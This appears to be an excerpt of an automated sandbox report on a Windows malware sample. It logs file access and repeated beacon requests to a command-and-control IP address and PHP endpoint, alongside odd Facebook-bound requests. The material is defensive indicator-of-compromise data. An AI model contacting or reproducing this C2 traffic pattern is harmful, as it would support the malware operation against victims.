Source: C:\Users\user\Desktop\wYWdigdSjn.exe	File opened: C:\Documents and Settings\All Users\Application Data\	Jump to behavior
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	File opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\	Jump to behavior
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	File opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Adobe\ARM\S\436\	Jump to behavior
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	File opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\	Jump to behavior
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	File opened: C:\Documents and Settings\All Users\Application Data\Application Data\	Jump to behavior

Source: Joe Sandbox View

JA3 fingerprint: ce5f3254611a8c095a3d821d44539877

Source: global traffic	HTTP traffic detected: GET /%3Cbr%20/%3E%0A%3Cb%3EDeprecated%3C/b%3E:%20%20mysql_pconnect():%20The%20mysql%20extension%20is%20deprecated%20and%20will%20be%20removed%20in%20the%20future:%20use%20mysqli%20or%20PDO%20instead%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_pconnect():%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_query()%20expects%20parameter%202%20to%20be%20resource,%20boolean%20given%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E73%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cfont%20color=%22%23000000%22%3E%0A%3Cb%3E1045%20-%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='wYWdigdSjn'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3E HTTP/1.1Connection: Keep-AliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36Host: www.facebook.com
Source: global traffic	HTTP traffic detected: GET /%3Cbr%20/%3E%0A%3Cb%3EDeprecated%3C/b%3E:%20%20mysql_pconnect():%20The%20mysql%20extension%20is%20deprecated%20and%20will%20be%20removed%20in%20the%20future:%20use%20mysqli%20or%20PDO%20instead%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_pconnect():%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_query()%20expects%20parameter%202%20to%20be%20resource,%20boolean%20given%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E73%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cfont%20color=%22%23000000%22%3E%0A%3Cb%3E1045%20-%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='WYWDIG~1'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3E HTTP/1.1Connection: Keep-AliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36Host: www.facebook.com
Source: global traffic	HTTP traffic detected: GET /%3Cbr%20/%3E%0A%3Cb%3EDeprecated%3C/b%3E:%20%20mysql_pconnect():%20The%20mysql%20extension%20is%20deprecated%20and%20will%20be%20removed%20in%20the%20future:%20use%20mysqli%20or%20PDO%20instead%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_pconnect():%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_query()%20expects%20parameter%202%20to%20be%20resource,%20boolean%20given%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E73%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cfont%20color=%22%23000000%22%3E%0A%3Cb%3E1045%20-%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='WYWDIG~1'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3E HTTP/1.1Connection: Keep-AliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36Host: www.facebook.com
Source: global traffic	HTTP traffic detected: GET /%3Cbr%20/%3E%0A%3Cb%3EDeprecated%3C/b%3E:%20%20mysql_pconnect():%20The%20mysql%20extension%20is%20deprecated%20and%20will%20be%20removed%20in%20the%20future:%20use%20mysqli%20or%20PDO%20instead%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_pconnect():%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_query()%20expects%20parameter%202%20to%20be%20resource,%20boolean%20given%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E73%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cfont%20color=%22%23000000%22%3E%0A%3Cb%3E1045%20-%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='WYWDIG~1'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3E HTTP/1.1Connection: Keep-AliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36Host: www.facebook.com
Source: global traffic	HTTP traffic detected: GET /%3Cbr%20/%3E%0A%3Cb%3EDeprecated%3C/b%3E:%20%20mysql_pconnect():%20The%20mysql%20extension%20is%20deprecated%20and%20will%20be%20removed%20in%20the%20future:%20use%20mysqli%20or%20PDO%20instead%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_pconnect():%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_query()%20expects%20parameter%202%20to%20be%20resource,%20boolean%20given%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E73%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cfont%20color=%22%23000000%22%3E%0A%3Cb%3E1045%20-%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='WYWDIG~1'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3E HTTP/1.1Connection: Keep-AliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36Host: www.facebook.com
Source: global traffic	HTTP traffic detected: GET /%3Cbr%20/%3E%0A%3Cb%3EDeprecated%3C/b%3E:%20%20mysql_pconnect():%20The%20mysql%20extension%20is%20deprecated%20and%20will%20be%20removed%20in%20the%20future:%20use%20mysqli%20or%20PDO%20instead%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_pconnect():%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_query()%20expects%20parameter%202%20to%20be%20resource,%20boolean%20given%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E73%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cfont%20color=%22%23000000%22%3E%0A%3Cb%3E1045%20-%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='wYWdigdSjn'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3E HTTP/1.1Connection: Keep-AliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36Host: www.facebook.com
Source: global traffic	HTTP traffic detected: GET /%3Cbr%20/%3E%0A%3Cb%3EDeprecated%3C/b%3E:%20%20mysql_pconnect():%20The%20mysql%20extension%20is%20deprecated%20and%20will%20be%20removed%20in%20the%20future:%20use%20mysqli%20or%20PDO%20instead%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_pconnect():%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_query()%20expects%20parameter%202%20to%20be%20resource,%20boolean%20given%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E73%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cfont%20color=%22%23000000%22%3E%0A%3Cb%3E1045%20-%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='WYWDIG~1'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3E HTTP/1.1Connection: Keep-AliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36Host: www.facebook.com
Source: global traffic	HTTP traffic detected: GET /seemorebty/il.php?e=wYWdigdSjn HTTP/1.1Connection: Keep-AliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3Accept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36Host: 103.136.42.153
Source: global traffic	HTTP traffic detected: GET /seemorebty/il.php?e=WYWDIG~1 HTTP/1.1Connection: Keep-AliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3Accept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36Host: 103.136.42.153
Source: global traffic	HTTP traffic detected: GET /seemorebty/il.php?e=WYWDIG~1 HTTP/1.1Connection: Keep-AliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3Accept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36Host: 103.136.42.153
Source: global traffic	HTTP traffic detected: GET /seemorebty/il.php?e=WYWDIG~1 HTTP/1.1Connection: Keep-AliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3Accept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36Host: 103.136.42.153
Source: global traffic	HTTP traffic detected: GET /seemorebty/il.php?e=WYWDIG~1 HTTP/1.1Connection: Keep-AliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3Accept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36Host: 103.136.42.153
Source: global traffic	HTTP traffic detected: GET /seemorebty/il.php?e=wYWdigdSjn HTTP/1.1Connection: Keep-AliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3Accept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36Host: 103.136.42.153
Source: global traffic	HTTP traffic detected: GET /seemorebty/il.php?e=WYWDIG~1 HTTP/1.1Connection: Keep-AliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3Accept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36Host: 103.136.42.153

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49696
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49696 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundVary: Accept-Encodingreport-to: {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]}x-fb-rlafr: 0document-policy: force-load-at-topcross-origin-resource-policy: same-origincross-origin-opener-policy: same-origin-allow-popupsPragma: no-cacheCache-Control: private, no-cache, no-store, must-revalidateExpires: Sat, 01 Jan 2000 00:00:00 GMTX-Content-Type-Options: nosniffX-XSS-Protection: 0X-Frame-Options: DENYStrict-Transport-Security: max-age=15552000; preloadContent-Type: text/html; charset="utf-8"X-FB-Debug: DjP9JolpTwr+86Ry7VDq+AOQqWaFVqykSQSyBTplDu/uvyMekWMgLxnaB8yxwB2QXvynukDh7w8PTdV/eeY0kw==Date: Sat, 08 Oct 2022 09:34:05 GMTPriority: u=3,iTransfer-Encoding: chunkedAlt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundVary: Accept-Encodingreport-to: {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]}x-fb-rlafr: 0document-policy: force-load-at-topcross-origin-resource-policy: same-origincross-origin-opener-policy: same-origin-allow-popupsPragma: no-cacheCache-Control: private, no-cache, no-store, must-revalidateExpires: Sat, 01 Jan 2000 00:00:00 GMTX-Content-Type-Options: nosniffX-XSS-Protection: 0X-Frame-Options: DENYStrict-Transport-Security: max-age=15552000; preloadContent-Type: text/html; charset="utf-8"X-FB-Debug: Y+3Jt+fLzkyWXgpa8QHK4qGrs/CzgpN1fL8tbhGWnOjO25Lh5yt44J133MmjLbzey4t7T0tx1pCow59oDqj1lg==Date: Sat, 08 Oct 2022 09:34:27 GMTTransfer-Encoding: chunkedAlt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundVary: Accept-Encodingreport-to: {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]}x-fb-rlafr: 0document-policy: force-load-at-topcross-origin-resource-policy: same-origincross-origin-opener-policy: same-origin-allow-popupsPragma: no-cacheCache-Control: private, no-cache, no-store, must-revalidateExpires: Sat, 01 Jan 2000 00:00:00 GMTX-Content-Type-Options: nosniffX-XSS-Protection: 0X-Frame-Options: DENYStrict-Transport-Security: max-age=15552000; preloadContent-Type: text/html; charset="utf-8"X-FB-Debug: WVI5LyqRPGcedaEDdhbtqsb6jdphI5bhQ06OXtk9464/lwYObbB0OqZ42JN/Y92nP9r5UhEQCTYW3vL+FL65IA==Date: Sat, 08 Oct 2022 09:34:43 GMTTransfer-Encoding: chunkedAlt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundVary: Accept-Encodingreport-to: {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]}x-fb-rlafr: 0document-policy: force-load-at-topcross-origin-resource-policy: same-origincross-origin-opener-policy: same-origin-allow-popupsPragma: no-cacheCache-Control: private, no-cache, no-store, must-revalidateExpires: Sat, 01 Jan 2000 00:00:00 GMTX-Content-Type-Options: nosniffX-XSS-Protection: 0X-Frame-Options: DENYStrict-Transport-Security: max-age=15552000; preloadContent-Type: text/html; charset="utf-8"X-FB-Debug: HEBZvMECXUhz/pUFSZhwDK8KCl9z14WWFM7Yj3DA4oD0Qz9N1I0fzL9A824qLsuI/b4YeQxxl6ikx3Vuljohmg==Date: Sat, 08 Oct 2022 09:35:10 GMTPriority: u=3,iTransfer-Encoding: chunkedAlt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundVary: Accept-Encodingreport-to: {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]}x-fb-rlafr: 0document-policy: force-load-at-topcross-origin-resource-policy: same-origincross-origin-opener-policy: same-origin-allow-popupsPragma: no-cacheCache-Control: private, no-cache, no-store, must-revalidateExpires: Sat, 01 Jan 2000 00:00:00 GMTX-Content-Type-Options: nosniffX-XSS-Protection: 0X-Frame-Options: DENYStrict-Transport-Security: max-age=15552000; preloadContent-Type: text/html; charset="utf-8"X-FB-Debug: jPm17D2qRITe6KqQToLFbnVfUp/wUe3Vv/albjq0RRg1U9YjSREYSbbRXIIG3d3nvGlwK8019BFMQMQcfULPZQ==Date: Sat, 08 Oct 2022 09:35:18 GMTPriority: u=3,iTransfer-Encoding: chunkedAlt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundVary: Accept-Encodingreport-to: {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]}x-fb-rlafr: 0document-policy: force-load-at-topcross-origin-resource-policy: same-origincross-origin-opener-policy: same-origin-allow-popupsPragma: no-cacheCache-Control: private, no-cache, no-store, must-revalidateExpires: Sat, 01 Jan 2000 00:00:00 GMTX-Content-Type-Options: nosniffX-XSS-Protection: 0X-Frame-Options: DENYStrict-Transport-Security: max-age=15552000; preloadContent-Type: text/html; charset="utf-8"X-FB-Debug: hJkJjTJGbQ0MV+xm39svgQJbuTlVhYquupZ1Jyp6TT4crl43KQflYA1RsJD7VCkazhyFvbB7kJCkvB5CVjGkcA==Date: Sat, 08 Oct 2022 09:35:44 GMTPriority: u=3,iTransfer-Encoding: chunkedAlt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundVary: Accept-Encodingreport-to: {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]}x-fb-rlafr: 0document-policy: force-load-at-topcross-origin-resource-policy: same-origincross-origin-opener-policy: same-origin-allow-popupsPragma: no-cacheCache-Control: private, no-cache, no-store, must-revalidateExpires: Sat, 01 Jan 2000 00:00:00 GMTX-Content-Type-Options: nosniffX-XSS-Protection: 0X-Frame-Options: DENYStrict-Transport-Security: max-age=15552000; preloadContent-Type: text/html; charset="utf-8"X-FB-Debug: Y/KRdrZhpKJcImvtWB9+WvlW36j2e2E/GatqijmQBy+U+1IgFjyzo19h3cTWYXs6oLgPFFkIF1RYK4LiCnErVA==Date: Sat, 08 Oct 2022 09:35:55 GMTPriority: u=3,iTransfer-Encoding: chunkedAlt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400Connection: close

Source: unknown	TCP traffic detected without corresponding DNS query: 103.136.42.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.136.42.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.136.42.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.136.42.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.136.42.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.136.42.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.136.42.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.136.42.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.136.42.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.136.42.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.136.42.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.136.42.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.136.42.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.136.42.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.136.42.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.136.42.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.136.42.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.136.42.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.136.42.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.136.42.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.136.42.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.136.42.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.136.42.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.136.42.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.136.42.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.136.42.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.136.42.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.136.42.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.136.42.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.136.42.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.136.42.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.136.42.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.136.42.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.136.42.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.136.42.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.136.42.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.136.42.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.136.42.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.136.42.153
Source: unknown	TCP traffic detected without corresponding DNS query: 103.136.42.153

